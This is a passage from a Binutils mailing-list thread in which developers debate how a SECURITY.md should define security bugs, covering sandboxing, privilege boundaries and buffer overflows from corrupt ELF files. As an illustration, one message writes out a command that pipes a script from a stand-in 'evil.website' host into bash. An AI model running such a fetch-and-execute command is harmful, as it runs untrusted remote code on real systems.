* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-12 17:10 ` Siddhesh Poyarekar @ 2023-04-13 3:51 ` Alan Modra 2023-04-13 4:25 ` Siddhesh Poyarekar 2023-04-13 10:25 ` Richard Earnshaw 1 sibling, 1 reply; 56+ messages in thread From: Alan Modra @ 2023-04-13 3:51 UTC (permalink / raw) To: Siddhesh Poyarekar; +Cc: Richard Earnshaw, Nick Clifton, Binutils, gdb On Wed, Apr 12, 2023 at 01:10:01PM -0400, Siddhesh Poyarekar wrote: > OK, then how about this for the first paragraph: > > ~~~ > A security bug is one that threatens the security of a system or network. > In the context of GNU Binutils, there are two ways in which a bug could have > security consequences. The primary method is when the tools introduce a > vulnerability in the output file that was not present in the input files > being processed. The other, albeit unlikely way is when a bug in the tools > results in a privilege boundary is crossed in either the tools themselves or > in the code they generate. > ~~~ I don't see that talking about privilege boundaries is particularly relevant. Consider this: It is trivially easy to craft an object file that when examined with objdump will read your ssh private keys. That's not a bug, it's a feature of thin archives. Now all you need is some means of delivering those private keys, and I'm sure there are plenty of buffer overflows in libbfd waiting to be exploited, especially with --enable-targets=all. -- Alan Modra Australia Development Lab, IBM ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 3:51 ` Alan Modra @ 2023-04-13 4:25 ` Siddhesh Poyarekar 2023-04-13 5:16 ` Alan Modra 0 siblings, 1 reply; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-13 4:25 UTC (permalink / raw) To: Alan Modra; +Cc: Richard Earnshaw, Nick Clifton, Binutils, gdb On 2023-04-12 23:51, Alan Modra wrote: > On Wed, Apr 12, 2023 at 01:10:01PM -0400, Siddhesh Poyarekar wrote: >> OK, then how about this for the first paragraph: >> >> ~~~ >> A security bug is one that threatens the security of a system or network. >> In the context of GNU Binutils, there are two ways in which a bug could have >> security consequences. The primary method is when the tools introduce a >> vulnerability in the output file that was not present in the input files >> being processed. The other, albeit unlikely way is when a bug in the tools >> results in a privilege boundary is crossed in either the tools themselves or >> in the code they generate. >> ~~~ > > I don't see that talking about privilege boundaries is particularly > relevant. Consider this: > > It is trivially easy to craft an object file that when examined with > objdump will read your ssh private keys. That's not a bug, it's a > feature of thin archives. > > Now all you need is some means of delivering those private keys, and > I'm sure there are plenty of buffer overflows in libbfd waiting to be > exploited, especially with --enable-targets=all. That's not a crossing of privilege boundaries; ssh private keys are owned by the executing user. A crossing of privilege boundaries implies being able to do something that one wasn't previously able to do, like reading files not owned by the executing user. Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 4:25 ` Siddhesh Poyarekar @ 2023-04-13 5:16 ` Alan Modra 2023-04-13 12:00 ` Siddhesh Poyarekar 0 siblings, 1 reply; 56+ messages in thread From: Alan Modra @ 2023-04-13 5:16 UTC (permalink / raw) To: Siddhesh Poyarekar; +Cc: Richard Earnshaw, Nick Clifton, Binutils, gdb On Thu, Apr 13, 2023 at 12:25:45AM -0400, Siddhesh Poyarekar wrote: > On 2023-04-12 23:51, Alan Modra wrote: > > On Wed, Apr 12, 2023 at 01:10:01PM -0400, Siddhesh Poyarekar wrote: > > > OK, then how about this for the first paragraph: > > > > > > ~~~ > > > A security bug is one that threatens the security of a system or network. > > > In the context of GNU Binutils, there are two ways in which a bug could have > > > security consequences. The primary method is when the tools introduce a > > > vulnerability in the output file that was not present in the input files > > > being processed. The other, albeit unlikely way is when a bug in the tools > > > results in a privilege boundary is crossed in either the tools themselves or > > > in the code they generate. > > > ~~~ > > > > I don't see that talking about privilege boundaries is particularly > > relevant. Consider this: > > > > It is trivially easy to craft an object file that when examined with > > objdump will read your ssh private keys. That's not a bug, it's a > > feature of thin archives. > > > > Now all you need is some means of delivering those private keys, and > > I'm sure there are plenty of buffer overflows in libbfd waiting to be > > exploited, especially with --enable-targets=all. > > That's not a crossing of privilege boundaries; I know. Ah, I see. You were saying that only the very narrow case of a privilege escalation will be considered a "security bug". Fair enough I suppose, but that's close to the much simpler and more easily understood: "binutils makes no claim to being secure, ergo there are no security bugs". -- Alan Modra Australia Development Lab, IBM ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 5:16 ` Alan Modra @ 2023-04-13 12:00 ` Siddhesh Poyarekar 0 siblings, 0 replies; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-13 12:00 UTC (permalink / raw) To: Alan Modra; +Cc: Richard Earnshaw, Nick Clifton, Binutils, gdb On 2023-04-13 01:16, Alan Modra wrote: >> That's not a crossing of privilege boundaries; > > I know. Ah, I see. You were saying that only the very narrow case of > a privilege escalation will be considered a "security bug". Fair > enough I suppose, but that's close to the much simpler and more easily > understood: > > "binutils makes no claim to being secure, ergo there are no security > bugs". More like, "don't put Turing complete interfaces out on the internet without sandboxing for everyone to abuse, that's insecure" :) I hope to put out something similar for gcc too, and pretty much every compiler/translator out there because they're not programs that one puts out on the internet and think that everything will be OK. They must be sandboxed. The overzealous CVE assignments are simply wasting everyone's time and distracting everyone from actual security issues. Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-12 17:10 ` Siddhesh Poyarekar 2023-04-13 3:51 ` Alan Modra @ 2023-04-13 10:25 ` Richard Earnshaw 2023-04-13 11:53 ` Siddhesh Poyarekar 1 sibling, 1 reply; 56+ messages in thread From: Richard Earnshaw @ 2023-04-13 10:25 UTC (permalink / raw) To: Siddhesh Poyarekar, Nick Clifton, Binutils; +Cc: gdb On 12/04/2023 18:10, Siddhesh Poyarekar wrote: > > > On 2023-04-12 12:52, Richard Earnshaw wrote: >> >> >> On 12/04/2023 17:26, Siddhesh Poyarekar wrote: >>> On 2023-04-12 12:02, Richard Earnshaw wrote: >>>> >>>> >>>> On 07/04/2023 09:42, Nick Clifton via Binutils wrote: >>>>> Hi Guys, >>>>> >>>>> Many open source projects have a SECURITY.md file which explains >>>>> their stance on security related bugs. So I thought that it would >>>>> be a good idea if we had one too. The top level file would >>>>> actually >>>>> just be a placeholder, like this: >>>>> >>>>> ------------- ./SECURITY.md ------------------------------------------ >>>>> For details on the Binutils security process please see >>>>> the SECURITY.md file in the binutils sub-directory. >>>>> >>>>> For details on the GDB security process please see >>>>> the SECURITY.md file in the gdb sub-directory. >>>>> -------------------------------------------------------------------- >>>>> >>>>> So this email is mostly about the wording for the Binutils specific >>>>> version. Here is my current proposal: >>>>> >>>>> ---------------- binutils/SECURITY.md ------------------------------ >>>>> Binutils Security Process >>>>> ========================= >>>>> >>>>> What is a binutils security bug? >>>>> ================================ >>>>> >>>>> A security bug is one that threatens the security of a system or >>>>> network. In the context of the GNU Binutils this means a bug that >>>>> relates to the creation of corrupt output files from valid, >>>>> trusted >>>>> inputs. Even then the bug would only have a security impact if >>>>> the >>>>> the code invokes undefined behaviour or results in a privilege >>>>> boundary being crossed. >>>>> >>>>> Other than that, all other bugs will be treated as non-security >>>>> issues. This does not mean that they will be ignored, just that >>>>> they will not be given the priority that is given to security >>>>> bugs. >>>>> >>>>> This stance applies to the creation tools in the GNU Binutils (eg >>>>> as, ld, gold, objcopy) and the libraries that they use. Bugs in > > Perhaps also name libbfd, libopcode, etc. in the libraries to make it > clearer. > >>>>> inspection tools (eg readelf, nm objdump) will not be considered >>>>> to be security bugs, since they do not create executable output >>>>> files. When used on untrusted inputs, these inspection tools >>>>> should be appropriately sandboxed to mitigate potential damage >>>>> due to any malicious input files. >>>> >>>> I'd expect that any program used on untrusted input to be run only >>>> at user-level privileges. So we should exclude issues where an >>>> account with elevated privileges (eg root) is used with either >>>> inspection or generation tools. >>> >>> Agreed, I think this should be addressed by the "or results in a >>> privilege boundary being crossed". By running these programs as >>> root, the user is elevating privileges themselves, so it's not a >>> binutils problem. >> >> My reading of the text is that "privilege boundary being crossed" (in >> the first paragraph) is specifically related to the generated output, >> not to the program itself being run with elevated privileges. > > OK, then how about this for the first paragraph: > > ~~~ > A security bug is one that threatens the security of a system or > network. In the context of GNU Binutils, there are two ways in which a > bug could have security consequences. The primary method is when the > tools introduce a vulnerability in the output file that was not present > in the input files being processed. The other, albeit unlikely way is > when a bug in the tools results in a privilege boundary is crossed in > either the tools themselves or in the code they generate. So mention of networks reminds me that you don't always need privilege escalation to have a security compromise - simply transmitting a file to a third party, if that wasn't intended, would be enough. So I would suggest: A security bug is one that threatens the security of a system or network, or might compromise the security of data stored on it. In the context of GNU Binutils there are two ways in which such bugs might occur. In the first, the programs themselves might be tricked into a direct compromise of security. In the second, the tools might introduce a vulnerability in the generated output that was not already present in the files used as input. Note: none of the programs in the GNU Binutils suite need elevated system privileges (eg setuid) to operate and we recommend that users do not use them from accounts where such privileges are automatically available. R. > ~~~ > >>>> The other area of concern is where the tools (particularly the >>>> linker) 'generate' code; so bugs in the opcodes the assembler >>>> generates (eg by not setting some don't care bits to something safe) >>>> or with code generated by the linker to glue functions together >>>> (relocation handling, PLTs, veneers, etc) would also count. >>> >>> Ack, I reckon this should be addressed by "corrupt output files from >>> valid trusted inputs". If that's not clear enough, could you suggest >>> alternative phrasing that makes it clearer? >> >> I'm not sure corrupt is general enough. Each instruction in the >> binary might be completely legal, but their sequencing could leave >> some vulnerabilities (think spectre, for example, but that's pretty >> extreme). >> >> Perhaps something like "... this means that the tools introduce a >> vulnerability in the output file that was not present in the input >> files being processed". I think with that wording you probably don't >> even need the last sentence in the first paragraph. > > Agreed, that sounds more precise. I've incorporated that into the > paragraph above. How does that sound overall? > > Thanks, > Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 10:25 ` Richard Earnshaw @ 2023-04-13 11:53 ` Siddhesh Poyarekar 2023-04-13 12:37 ` Richard Earnshaw 0 siblings, 1 reply; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-13 11:53 UTC (permalink / raw) To: Richard Earnshaw, Nick Clifton, Binutils; +Cc: gdb On 2023-04-13 06:25, Richard Earnshaw wrote: > So mention of networks reminds me that you don't always need privilege > escalation to have a security compromise - simply transmitting a file to > a third party, if that wasn't intended, would be enough. None of the tools can guarantee this with untrusted input when executing as a local user; this is why the last bit of sandboxing to analyze untrusted input comes in. > So I would suggest: > > A security bug is one that threatens the security of a system or > network, or might compromise the security of data stored on it. In the > context of GNU Binutils there are two ways in which such bugs might > occur. In the first, the programs themselves might be tricked into a > direct compromise of security. In the second, the tools might introduce "Direct compromise of security" is essentially what we're trying to define more strongly to prevent spurious CVE assignments. > a vulnerability in the generated output that was not already present in > the files used as input. > > Note: none of the programs in the GNU Binutils suite need elevated > system privileges (eg setuid) to operate and we recommend that users do > not use them from accounts where such privileges are automatically > available. We did have CVE-2021-20197, so it's not always setuid. Thanks, Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 11:53 ` Siddhesh Poyarekar @ 2023-04-13 12:37 ` Richard Earnshaw 2023-04-13 12:54 ` Siddhesh Poyarekar 0 siblings, 1 reply; 56+ messages in thread From: Richard Earnshaw @ 2023-04-13 12:37 UTC (permalink / raw) To: Siddhesh Poyarekar, Nick Clifton, Binutils; +Cc: gdb On 13/04/2023 12:53, Siddhesh Poyarekar wrote: > On 2023-04-13 06:25, Richard Earnshaw wrote: >> So mention of networks reminds me that you don't always need privilege >> escalation to have a security compromise - simply transmitting a file >> to a third party, if that wasn't intended, would be enough. > > None of the tools can guarantee this with untrusted input when executing > as a local user; this is why the last bit of sandboxing to analyze > untrusted input comes in. > >> So I would suggest: >> >> A security bug is one that threatens the security of a system or >> network, or might compromise the security of data stored on it. In >> the context of GNU Binutils there are two ways in which such bugs >> might occur. In the first, the programs themselves might be tricked >> into a direct compromise of security. In the second, the tools might >> introduce > > "Direct compromise of security" is essentially what we're trying to > define more strongly to prevent spurious CVE assignments. If a user can be tricked into opening a corrupt file (eg object file) and that causes a buffer overflow that's then used to send another file to a third party, you can't really pretend that's not a direct compromise of security. We live in the real world and this sort of threat is real. > >> a vulnerability in the generated output that was not already present >> in the files used as input. >> >> Note: none of the programs in the GNU Binutils suite need elevated >> system privileges (eg setuid) to operate and we recommend that users >> do not use them from accounts where such privileges are automatically >> available. > > We did have CVE-2021-20197, so it's not always setuid. Which is exactly the sort of scenario I was trying to exclude by this statement - don't run the tools with elevated privileges. R. > > Thanks, > Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 12:37 ` Richard Earnshaw @ 2023-04-13 12:54 ` Siddhesh Poyarekar 2023-04-13 13:11 ` Richard Earnshaw 0 siblings, 1 reply; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-13 12:54 UTC (permalink / raw) To: Richard Earnshaw, Nick Clifton, Binutils; +Cc: gdb On 2023-04-13 08:37, Richard Earnshaw wrote: >> "Direct compromise of security" is essentially what we're trying to >> define more strongly to prevent spurious CVE assignments. > > If a user can be tricked into opening a corrupt file (eg object file) > and that causes a buffer overflow that's then used to send another file > to a third party, you can't really pretend that's not a direct > compromise of security. We live in the real world and this sort of > threat is real. I agree that this sort of threat is real, which is why we should recommend sandboxing to deal with corrupt/untrusted files. There is no way that any program can be secured against untrusted input *after* it has been supplied to it, especially if the input is in a Turing complete form, like a program or a script. This is why when one does a: curl -s http://evil.website/malicious-script.sh | bash it is a legitimate security issue, but it's not a vulnerability in bash, nor can it be secured in bash. One must either do this in a sandbox to contain its impact in that sandbox, or do a secondary analysis (again in a sandbox) to determine that it is safe. >>> a vulnerability in the generated output that was not already present >>> in the files used as input. >>> >>> Note: none of the programs in the GNU Binutils suite need elevated >>> system privileges (eg setuid) to operate and we recommend that users >>> do not use them from accounts where such privileges are automatically >>> available. >> >> We did have CVE-2021-20197, so it's not always setuid. > > > Which is exactly the sort of scenario I was trying to exclude by this > statement - don't run the tools with elevated privileges. I should have clarified that I agree, just that mentioning setuid might lull users into believing that this threat model is only related to setuid. Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 12:54 ` Siddhesh Poyarekar @ 2023-04-13 13:11 ` Richard Earnshaw 2023-04-13 13:35 ` Siddhesh Poyarekar 0 siblings, 1 reply; 56+ messages in thread From: Richard Earnshaw @ 2023-04-13 13:11 UTC (permalink / raw) To: Siddhesh Poyarekar, Nick Clifton, Binutils; +Cc: gdb On 13/04/2023 13:54, Siddhesh Poyarekar wrote: > On 2023-04-13 08:37, Richard Earnshaw wrote: >>> "Direct compromise of security" is essentially what we're trying to >>> define more strongly to prevent spurious CVE assignments. >> >> If a user can be tricked into opening a corrupt file (eg object file) >> and that causes a buffer overflow that's then used to send another >> file to a third party, you can't really pretend that's not a direct >> compromise of security. We live in the real world and this sort of >> threat is real. > > I agree that this sort of threat is real, which is why we should > recommend sandboxing to deal with corrupt/untrusted files. There is no > way that any program can be secured against untrusted input *after* it > has been supplied to it, especially if the input is in a Turing complete > form, like a program or a script. > > This is why when one does a: > > curl -s http://evil.website/malicious-script.sh | bash > > it is a legitimate security issue, but it's not a vulnerability in bash, > nor can it be secured in bash. One must either do this in a sandbox to > contain its impact in that sandbox, or do a secondary analysis (again in > a sandbox) to determine that it is safe. Right, but that's not the case I was concerned about. My scenario is more like when you run something like objdump foo.o but reading foo.o causes corruption in the tools (eg by a buffer exploit) and ends up sending a confidential file to a third party. > >>>> a vulnerability in the generated output that was not already present >>>> in the files used as input. >>>> >>>> Note: none of the programs in the GNU Binutils suite need elevated >>>> system privileges (eg setuid) to operate and we recommend that users >>>> do not use them from accounts where such privileges are >>>> automatically available. >>> >>> We did have CVE-2021-20197, so it's not always setuid. >> >> >> Which is exactly the sort of scenario I was trying to exclude by this >> statement - don't run the tools with elevated privileges. > > I should have clarified that I agree, just that mentioning setuid might > lull users into believing that this threat model is only related to setuid. Which is why I put setuid in brackets and put 'eg' in front of it. It's the most obvious example, but it's by no means the only case. BTW, the real problem underlying that CVE is that the temp-files APIs are fundamentally weak by defaulting to a shared temporary directory. Quite frankly there's no reason why systems shouldn't be using per-user temporary directories these days which are private - who needs to share temporary files with other users? R. > > Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 13:11 ` Richard Earnshaw @ 2023-04-13 13:35 ` Siddhesh Poyarekar 2023-04-13 13:40 ` Richard Earnshaw 0 siblings, 1 reply; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-13 13:35 UTC (permalink / raw) To: Richard Earnshaw, Nick Clifton, Binutils; +Cc: gdb On 2023-04-13 09:11, Richard Earnshaw wrote: >> This is why when one does a: >> >> curl -s http://evil.website/malicious-script.sh | bash >> >> it is a legitimate security issue, but it's not a vulnerability in >> bash, nor can it be secured in bash. One must either do this in a >> sandbox to contain its impact in that sandbox, or do a secondary >> analysis (again in a sandbox) to determine that it is safe. > > Right, but that's not the case I was concerned about. My scenario is > more like when you run something like > > objdump foo.o > > but reading foo.o causes corruption in the tools (eg by a buffer > exploit) and ends up sending a confidential file to a third party. It's not fundamentally different from, e.g. bash malicious-script.sh it just feels different because you elided the transport mechanism. Fundamentally, it is unsafe to do anything with untrusted content without sandboxing, so objdump is no different. Sure, objdump is an analysis tool, so it should be able to analyze foo.o without crashing, but that's a robustness issue, not a security one. The security aspect should be handled by a sandbox. >>>>> a vulnerability in the generated output that was not already >>>>> present in the files used as input. >>>>> >>>>> Note: none of the programs in the GNU Binutils suite need elevated >>>>> system privileges (eg setuid) to operate and we recommend that >>>>> users do not use them from accounts where such privileges are >>>>> automatically available. >>>> >>>> We did have CVE-2021-20197, so it's not always setuid. >>> >>> >>> Which is exactly the sort of scenario I was trying to exclude by this >>> statement - don't run the tools with elevated privileges. >> >> I should have clarified that I agree, just that mentioning setuid >> might lull users into believing that this threat model is only related >> to setuid. > > Which is why I put setuid in brackets and put 'eg' in front of it. It's > the most obvious example, but it's by no means the only case. Fair enough. > BTW, the real problem underlying that CVE is that the temp-files APIs > are fundamentally weak by defaulting to a shared temporary directory. > Quite frankly there's no reason why systems shouldn't be using per-user > temporary directories these days which are private - who needs to share > temporary files with other users? That is essentially why the issue wasn't considered critical. Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 13:35 ` Siddhesh Poyarekar @ 2023-04-13 13:40 ` Richard Earnshaw 2023-04-13 13:56 ` Siddhesh Poyarekar 0 siblings, 1 reply; 56+ messages in thread From: Richard Earnshaw @ 2023-04-13 13:40 UTC (permalink / raw) To: Siddhesh Poyarekar, Nick Clifton, Binutils; +Cc: gdb On 13/04/2023 14:35, Siddhesh Poyarekar wrote: > On 2023-04-13 09:11, Richard Earnshaw wrote: >>> This is why when one does a: >>> >>> curl -s http://evil.website/malicious-script.sh | bash >>> >>> it is a legitimate security issue, but it's not a vulnerability in >>> bash, nor can it be secured in bash. One must either do this in a >>> sandbox to contain its impact in that sandbox, or do a secondary >>> analysis (again in a sandbox) to determine that it is safe. >> >> Right, but that's not the case I was concerned about. My scenario is >> more like when you run something like >> >> objdump foo.o >> >> but reading foo.o causes corruption in the tools (eg by a buffer >> exploit) and ends up sending a confidential file to a third party. > > It's not fundamentally different from, e.g. > > bash malicious-script.sh > > it just feels different because you elided the transport mechanism. > Fundamentally, it is unsafe to do anything with untrusted content > without sandboxing, so objdump is no different. Sure, objdump is an > analysis tool, so it should be able to analyze foo.o without crashing, > but that's a robustness issue, not a security one. The security aspect > should be handled by a sandbox. Sorry, I disagree. Sending files to third parties is completely outside of the intended scope of objdump, so if it ends up being able to do so, that's a security issue. R. ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 13:40 ` Richard Earnshaw @ 2023-04-13 13:56 ` Siddhesh Poyarekar 2023-04-13 14:50 ` Richard Earnshaw 0 siblings, 1 reply; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-13 13:56 UTC (permalink / raw) To: Richard Earnshaw, Nick Clifton, Binutils; +Cc: gdb On 2023-04-13 09:40, Richard Earnshaw wrote: >> it just feels different because you elided the transport mechanism. >> Fundamentally, it is unsafe to do anything with untrusted content >> without sandboxing, so objdump is no different. Sure, objdump is an >> analysis tool, so it should be able to analyze foo.o without crashing, >> but that's a robustness issue, not a security one. The security >> aspect should be handled by a sandbox. > > Sorry, I disagree. Sending files to third parties is completely outside > of the intended scope of objdump, so if it ends up being able to do so, > that's a security issue. You're mixing up scope. Given the flexibility of ELF, it is possible to get any ELF interpreter to do pretty much anything[1], including sending files to arbitrary places, deleting parts of the filesystem the executing user has access to, etc. It is the responsibility of the layer outside of objdump (i.e. the execution environment) to constrain this. To secure objdump and other tools from such compromise, what you'd actually need is, e.g. a --isolate flag that does an unshare()/chroot() holding the open file descriptor and does a very constrained analysis of untrusted binaries. That's one way we could control the execution environment to make sure none of it leaks. Sid [1] https://www.usenix.org/system/files/conference/woot13/woot13-shapiro.pdf ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 13:56 ` Siddhesh Poyarekar @ 2023-04-13 14:50 ` Richard Earnshaw 2023-04-13 15:02 ` Siddhesh Poyarekar 0 siblings, 1 reply; 56+ messages in thread From: Richard Earnshaw @ 2023-04-13 14:50 UTC (permalink / raw) To: Siddhesh Poyarekar, Nick Clifton, Binutils; +Cc: gdb On 13/04/2023 14:56, Siddhesh Poyarekar wrote: > On 2023-04-13 09:40, Richard Earnshaw wrote: >>> it just feels different because you elided the transport mechanism. >>> Fundamentally, it is unsafe to do anything with untrusted content >>> without sandboxing, so objdump is no different. Sure, objdump is an >>> analysis tool, so it should be able to analyze foo.o without >>> crashing, but that's a robustness issue, not a security one. The >>> security aspect should be handled by a sandbox. >> >> Sorry, I disagree. Sending files to third parties is completely >> outside of the intended scope of objdump, so if it ends up being able >> to do so, that's a security issue. > > You're mixing up scope. Given the flexibility of ELF, it is possible to > get any ELF interpreter to do pretty much anything[1], including sending > files to arbitrary places, deleting parts of the filesystem the > executing user has access to, etc. It is the responsibility of the > layer outside of objdump (i.e. the execution environment) to constrain > this. > > To secure objdump and other tools from such compromise, what you'd > actually need is, e.g. a --isolate flag that does an unshare()/chroot() > holding the open file descriptor and does a very constrained analysis of > untrusted binaries. That's one way we could control the execution > environment to make sure none of it leaks. > > Sid > > [1] > https://www.usenix.org/system/files/conference/woot13/woot13-shapiro.pdf No, whilst elf can be executed, objdump should never be doing that: it's a tool for examining a file, not running it. You have to have a tool that can safely examine the contents of an elf file or you can never verify it for issues - opening it up in emacs to examine the contents is not the way to do that :) But all that is beside the point. The original case I gave was a /corrupt/ elf file that caused a buffer overrun in the objdump binary. R. ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 14:50 ` Richard Earnshaw @ 2023-04-13 15:02 ` Siddhesh Poyarekar 2023-04-13 15:05 ` Richard Earnshaw 2023-04-13 15:08 ` Paul Koning 0 siblings, 2 replies; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-13 15:02 UTC (permalink / raw) To: Richard Earnshaw, Nick Clifton, Binutils; +Cc: gdb On 2023-04-13 10:50, Richard Earnshaw wrote: > No, whilst elf can be executed, objdump should never be doing that: it's > a tool for examining a file, not running it. You have to have a tool > that can safely examine the contents of an elf file or you can never > verify it for issues - opening it up in emacs to examine the contents is > not the way to do that :) You can verify it for issues, in a sandbox. > But all that is beside the point. The original case I gave was a > /corrupt/ elf file that caused a buffer overrun in the objdump binary. ... and that's a robustness issue. Any buffer overrun in any program could in theory be exploited to send out files. Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 15:02 ` Siddhesh Poyarekar @ 2023-04-13 15:05 ` Richard Earnshaw 2023-04-13 16:42 ` Siddhesh Poyarekar 2023-04-13 15:08 ` Paul Koning 1 sibling, 1 reply; 56+ messages in thread From: Richard Earnshaw @ 2023-04-13 15:05 UTC (permalink / raw) To: Siddhesh Poyarekar, Nick Clifton, Binutils; +Cc: gdb On 13/04/2023 16:02, Siddhesh Poyarekar wrote: > On 2023-04-13 10:50, Richard Earnshaw wrote: >> No, whilst elf can be executed, objdump should never be doing that: >> it's a tool for examining a file, not running it. You have to have a >> tool that can safely examine the contents of an elf file or you can >> never verify it for issues - opening it up in emacs to examine the >> contents is not the way to do that :) > > You can verify it for issues, in a sandbox. Maybe. But not always, it might not crash the program, but still lead to issues once taken outside of the sandbox. > >> But all that is beside the point. The original case I gave was a >> /corrupt/ elf file that caused a buffer overrun in the objdump binary. > > ... and that's a robustness issue. Any buffer overrun in any program > could in theory be exploited to send out files. > So what's your point? These /are/ vulnerabilities in the program and need to be considered security issues. R. ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 15:05 ` Richard Earnshaw @ 2023-04-13 16:42 ` Siddhesh Poyarekar 2023-04-14 9:52 ` Richard Earnshaw 0 siblings, 1 reply; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-13 16:42 UTC (permalink / raw) To: Richard Earnshaw, Nick Clifton, Binutils; +Cc: gdb On 2023-04-13 11:05, Richard Earnshaw wrote: > On 13/04/2023 16:02, Siddhesh Poyarekar wrote: >> On 2023-04-13 10:50, Richard Earnshaw wrote: >>> No, whilst elf can be executed, objdump should never be doing that: >>> it's a tool for examining a file, not running it. You have to have a >>> tool that can safely examine the contents of an elf file or you can >>> never verify it for issues - opening it up in emacs to examine the >>> contents is not the way to do that :) >> >> You can verify it for issues, in a sandbox. > > Maybe. But not always, it might not crash the program, but still lead > to issues once taken outside of the sandbox. You don't analyze untrusted data outside of a sandbox. Really, it's security 101. >>> But all that is beside the point. The original case I gave was a >>> /corrupt/ elf file that caused a buffer overrun in the objdump binary. >> >> ... and that's a robustness issue. Any buffer overrun in any program >> could in theory be exploited to send out files. >> > > So what's your point? These /are/ vulnerabilities in the program and > need to be considered security issues. I already made my point; I agree that they are security issues but the security mitigation mechanism is in the environment, not the program. I do not think it is in the interest of the binutils project to guarantee safety in analysis of untrusted programs without requisite protections of the environment. Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 16:42 ` Siddhesh Poyarekar @ 2023-04-14 9:52 ` Richard Earnshaw 2023-04-14 12:43 ` Siddhesh Poyarekar 0 siblings, 1 reply; 56+ messages in thread From: Richard Earnshaw @ 2023-04-14 9:52 UTC (permalink / raw) To: Siddhesh Poyarekar, Nick Clifton, Binutils; +Cc: gdb On 13/04/2023 17:42, Siddhesh Poyarekar wrote: > On 2023-04-13 11:05, Richard Earnshaw wrote: >> On 13/04/2023 16:02, Siddhesh Poyarekar wrote: >>> On 2023-04-13 10:50, Richard Earnshaw wrote: >>>> No, whilst elf can be executed, objdump should never be doing that: >>>> it's a tool for examining a file, not running it. You have to have >>>> a tool that can safely examine the contents of an elf file or you >>>> can never verify it for issues - opening it up in emacs to examine >>>> the contents is not the way to do that :) >>> >>> You can verify it for issues, in a sandbox. >> >> Maybe. But not always, it might not crash the program, but still lead >> to issues once taken outside of the sandbox. > > You don't analyze untrusted data outside of a sandbox. Really, it's > security 101. I think your definition of trusted and untrusted must vary from mine. And I think your expectations on users is somewhat unreasonable. In my book any binary object obtained from the internet is /potentially/ untrusted. That includes any object file that is downloaded from, say, a Red Hat server in an RPM package (even if it's been signed). Are you seriously suggesting that every user should deal with every file as though it was completely untrustworthy? > >>>> But all that is beside the point. The original case I gave was a >>>> /corrupt/ elf file that caused a buffer overrun in the objdump binary. >>> >>> ... and that's a robustness issue. Any buffer overrun in any program >>> could in theory be exploited to send out files. >>> >> >> So what's your point? These /are/ vulnerabilities in the program and >> need to be considered security issues. > > I already made my point; I agree that they are security issues but the > security mitigation mechanism is in the environment, not the program. I > do not think it is in the interest of the binutils project to guarantee > safety in analysis of untrusted programs without requisite protections > of the environment. > > Sid Any buffer overflow where the data used to do the overflow comes from an object file is a potential breach, unless the program can detect this and make a controlled abort before any possible break-out can occur. The key here is defence in depth. It's not enough to say that everything must be done in a sandbox, even if that is advisable. R. ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-14 9:52 ` Richard Earnshaw @ 2023-04-14 12:43 ` Siddhesh Poyarekar 2023-04-14 12:49 ` Richard Earnshaw 0 siblings, 1 reply; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-14 12:43 UTC (permalink / raw) To: Richard Earnshaw, Nick Clifton, Binutils; +Cc: gdb On 2023-04-14 05:52, Richard Earnshaw wrote: >> You don't analyze untrusted data outside of a sandbox. Really, it's >> security 101. > > I think your definition of trusted and untrusted must vary from mine. > And I think your expectations on users is somewhat unreasonable. > > In my book any binary object obtained from the internet is /potentially/ > untrusted. That includes any object file that is downloaded from, say, > a Red Hat server in an RPM package (even if it's been signed). Are you > seriously suggesting that every user should deal with every file as > though it was completely untrustworthy? You're the one who's saying that you don't trust binary objects obtained from signed packages even after verifying the signatures, not me :) The term "untrusted" has a fairly clear meaning in this context; it is one that is obtained from an unfamiliar source that is cryptographically signed (that you can verify) as being valid. Binaries on your system and/or those that your distribution provides are deemed trusted because you verify keys at various stages to reinforce your trust in the contents. Binaries that people send for bug reports are *not* trusted unless the medium they used to send the binaries (e.g. private bug reporting tool where only verified users get to post) is trusted or the user is trusted (through a verified/signed email). >>>>> But all that is beside the point. The original case I gave was a >>>>> /corrupt/ elf file that 